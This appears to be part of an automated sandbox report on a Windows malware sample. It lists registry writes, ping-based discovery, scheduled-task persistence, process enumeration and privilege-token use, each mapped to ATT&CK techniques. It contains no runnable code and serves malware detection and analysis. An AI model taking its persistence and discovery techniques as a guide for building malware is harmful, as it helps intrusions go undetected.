Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\it-IT-N\\tn1040.bin"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\TTS\\es-ES\\M3082Pablo"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\fr-FR-N\\L1036"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "SW"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "{E164F996-FF93-4675-BDD8-6C47AB0B86B1}"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\TTS\\es-ES\\M3082Helena"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\TTS\\fr-FR\\MSTTSLocfrFR.dat"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "{06405088-BC01-4E08-B392-5303E75090C8}"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "SR Engine (11.0) Text Normalization"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Male"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Speech Recognition Engine - en-US Embedded DNN v11.1"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Mark"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Speech SW Voice Activation - English (United States)"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Laura - Spanish (Spain)"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\ja-JP-N\\r1041sr.lxa"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "HKEY_LOCAL_MACHINE/SOFTWARE\\Microsoft\\Speech_OneCore\\AudioOutput\\TokenEnums\\MMAudioOut\\"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "en-US"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Ichiro - Japanese (Japan)"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Ayumi - Japanese (Japan)"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\TTS\\de-DE\\M1031Katja"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "SR it-IT Lookup Lexicon"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.search	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify\UserStartTime = "133727660823017630"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "I 0069 Y 0079 IX 0268 YX 0289 UU 026F U 0075 IH 026A YH 028F UH 028A E 0065 EU 00F8 EX 0258 OX 0275 OU 0264 O 006F AX 0259 EH 025B OE 0153 ER 025C UR 025E AH 028C AO 0254 AE 00E6 AEX 0250 A 0061 AOE 0276 AA 0251 Q 0252 EI 006503610069 AU 00610361028A OI 025403610069 AI 006103610069 IYX 006903610259 UYX 007903610259 EHX 025B03610259 UWX 007503610259 OWX 006F03610259 AOX 025403610259 EN 00650303 AN 00610303 ON 006F0303 OEN 01530303 P 0070 B 0062 M 006D BB 0299 PH 0278 BH 03B2 MF 0271 F 0066 V 0076 VA 028B TH 03B8 DH 00F0 T 0074 D 0064 N 006E RR 0072 DX 027E S 0073 Z 007A LSH 026C LH 026E RA 0279 L 006C SH 0283 ZH 0292 TR 0288 DR 0256 NR 0273 DXR 027D SR 0282 ZR 0290 R 027B LR 026D CT 0063 JD 025F NJ 0272 C 00E7 CJ 029D J 006A LJ 028E W 0077 K 006B G 0067 NG 014B X 0078 GH 0263 GA 0270 GL 029F QT 0071 QD 0262 QN 0274 QQ 0280 QH 03C7 RH 0281 HH 0127 HG 0295 GT 0294 H 0068 WJ 0265 PF 007003610066 TS 007403610073 CH 007403610283 JH 006403610292 JJ 006A0361006A DZ 00640361007A CC 007403610255 JC 006403610291 TSR 007403610282 WH 028D ESH 029C EZH 02A2 ET 02A1 SC 0255 ZC 0291 LT 027A SHX 0267 HZ 0266 PCK 0298 TCK 01C0 NCK 0021 CCK 01C2 LCK 01C1 BIM 0253 DIM 0257 QIM 029B GIM 0260 JIM 0284 S1 02C8 S2 02CC . 002E _\| 007C _\|\| 2016 lng 02D0 hlg 02D1 xsh 02D8 _^ 203F _! 0001 _& 0002 _, 0003 _s 0004 _. 2198 _? 2197 T5 030B T4 0301 T3 0304 T2 0300 T1 030F T- 2193 T+ 2191 vls 030A vcd 032C bvd 0324 cvd 0330 asp 02B0 mrd 0339 lrd 031C adv 031F ret 0331 cen 0308 mcn 033D syl 0329 nsy 032F rho 02DE lla 033C lab 02B7 pal 02B2 vel 02E0 phr 02E4 vph 0334 rai 031D low 031E atr 0318 rtr 0319 den 032A api 033A lam 033B nas 0303 nsr 207F lar 02E1 nar 031A ejc 02BC + 0361 bva 02B1 G2 0261 rte 0320 vsl 0325 NCK3 0297 NCK2 01C3 LCK2 0296 TCK2 0287 JC2 02A5 CC2 02A8 LG 026B DZ2 02A3 TS2 02A6 JH2 02A4 CH2 02A7 SHC 0286 rhz 02B4 QOM 02A0 xst 0306 T= 2192 ERR 025D AXR 025A ZHJ 0293"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\fr-FR\\VoiceActivation_fr-FR.dat"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\TTS\\en-US\\MSTTSLocenUS.dat"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.search	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "CC"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "SR en-US Locale Handler"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "spell=NativeSupported; cardinal=GlobalSupported; ordinal=NativeSupported; date=GlobalSupported; time=GlobalSupported; message=NativeSupported; address=NativeSupported; media=NativeSupported; telephone=NativeSupported; currency=NativeSupported; url=NativeSupported; alphanumeric=NativeSupported"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\ja-JP-N\\AI041041"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "1"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "L1036"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Speech HW Voice Activation - French (France)"	SearchApp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\MuiCache	StartMenuExperienceHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\en-US-N\\r1033sr.lxa"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\fr-FR-N\\tn1036.bin"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\MuiCache	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Helena - Spanish (Spain)"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Mark - English (United States)"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\es-ES-N\\r3082sr.lxa"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\ja-JP\\VoiceActivation_ja-JP.dat"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "804"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "409;9"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Speech HW Voice Activation - English (United States)"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\fr-FR-N\\c1036.fe"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Laura"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Julie"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\fr-FR\\sidubm.table"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\ja-JP-N\\lsr1041.lxa"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "1"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "SR de-DE Lookup Lexicon"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Speech Recognition Engine - es-ES Embedded DNN v11.1"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Speech Recognition Engine - ja-JP Embedded DNN v11.1"	SearchApp.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
5104	PING.EXE
2236	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
7500	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1892	2da07adfec8e96b42181944d948e346cb54a3772a53e9bd1a219119fca8fa7ea.exe
1892	2da07adfec8e96b42181944d948e346cb54a3772a53e9bd1a219119fca8fa7ea.exe
4384	skotes.exe
4384	skotes.exe
1172	svchost.exe
1172	svchost.exe
3592	Explorer.EXE
3592	Explorer.EXE
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
2412	audiodg.exe
2412	audiodg.exe
2412	audiodg.exe
2412	audiodg.exe
2412	audiodg.exe
2412	audiodg.exe
2412	audiodg.exe
2412	audiodg.exe
2412	audiodg.exe
2412	audiodg.exe
2412	audiodg.exe
2412	audiodg.exe
2412	audiodg.exe
2412	audiodg.exe
2412	audiodg.exe
2412	audiodg.exe
2412	audiodg.exe
2412	audiodg.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
396	msiexec.exe
2412	audiodg.exe
2412	audiodg.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3040	K6UAlAU.exe
Token: SeSecurityPrivilege	3040	K6UAlAU.exe
Token: SeTakeOwnershipPrivilege	3040	K6UAlAU.exe
Token: SeLoadDriverPrivilege	3040	K6UAlAU.exe
Token: SeSystemProfilePrivilege	3040	K6UAlAU.exe
Token: SeSystemtimePrivilege	3040	K6UAlAU.exe
Token: SeProfSingleProcessPrivilege	3040	K6UAlAU.exe
Token: SeIncBasePriorityPrivilege	3040	K6UAlAU.exe
Token: SeCreatePagefilePrivilege	3040	K6UAlAU.exe
Token: SeBackupPrivilege	3040	K6UAlAU.exe
Token: SeRestorePrivilege	3040	K6UAlAU.exe
Token: SeShutdownPrivilege	3040	K6UAlAU.exe
Token: SeDebugPrivilege	3040	K6UAlAU.exe
Token: SeSystemEnvironmentPrivilege	3040	K6UAlAU.exe
Token: SeRemoteShutdownPrivilege	3040	K6UAlAU.exe
Token: SeUndockPrivilege	3040	K6UAlAU.exe
Token: SeManageVolumePrivilege	3040	K6UAlAU.exe
Token: 33	3040	K6UAlAU.exe
Token: 34	3040	K6UAlAU.exe
Token: 35	3040	K6UAlAU.exe
Token: 36	3040	K6UAlAU.exe
Token: SeIncreaseQuotaPrivilege	1172	svchost.exe
Token: SeSecurityPrivilege	1172	svchost.exe
Token: SeTakeOwnershipPrivilege	1172	svchost.exe
Token: SeLoadDriverPrivilege	1172	svchost.exe
Token: SeSystemProfilePrivilege	1172	svchost.exe
Token: SeSystemtimePrivilege	1172	svchost.exe
Token: SeProfSingleProcessPrivilege	1172	svchost.exe
Token: SeIncBasePriorityPrivilege	1172	svchost.exe
Token: SeCreatePagefilePrivilege	1172	svchost.exe
Token: SeBackupPrivilege	1172	svchost.exe
Token: SeRestorePrivilege	1172	svchost.exe
Token: SeShutdownPrivilege	1172	svchost.exe
Token: SeDebugPrivilege	1172	svchost.exe
Token: SeSystemEnvironmentPrivilege	1172	svchost.exe
Token: SeRemoteShutdownPrivilege	1172	svchost.exe
Token: SeUndockPrivilege	1172	svchost.exe
Token: SeManageVolumePrivilege	1172	svchost.exe
Token: 33	1172	svchost.exe
Token: 34	1172	svchost.exe
Token: 35	1172	svchost.exe
Token: 36	1172	svchost.exe
Token: SeIncreaseQuotaPrivilege	396	msiexec.exe
Token: SeSecurityPrivilege	396	msiexec.exe
Token: SeTakeOwnershipPrivilege	396	msiexec.exe
Token: SeLoadDriverPrivilege	396	msiexec.exe
Token: SeSystemProfilePrivilege	396	msiexec.exe
Token: SeSystemtimePrivilege	396	msiexec.exe
Token: SeProfSingleProcessPrivilege	396	msiexec.exe
Token: SeIncBasePriorityPrivilege	396	msiexec.exe
Token: SeCreatePagefilePrivilege	396	msiexec.exe
Token: SeBackupPrivilege	396	msiexec.exe
Token: SeRestorePrivilege	396	msiexec.exe
Token: SeShutdownPrivilege	396	msiexec.exe
Token: SeDebugPrivilege	396	msiexec.exe
Token: SeSystemEnvironmentPrivilege	396	msiexec.exe
Token: SeRemoteShutdownPrivilege	396	msiexec.exe
Token: SeUndockPrivilege	396	msiexec.exe
Token: SeManageVolumePrivilege	396	msiexec.exe
Token: 33	396	msiexec.exe
Token: 34	396	msiexec.exe
Token: 35	396	msiexec.exe
Token: 36	396	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2412	audiodg.exe

Suspicious use of FindShellTrayWindow 52 IoCs

pid	Process
1892	2da07adfec8e96b42181944d948e346cb54a3772a53e9bd1a219119fca8fa7ea.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3592	Explorer.EXE
3592	Explorer.EXE
3592	Explorer.EXE
3592	Explorer.EXE
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
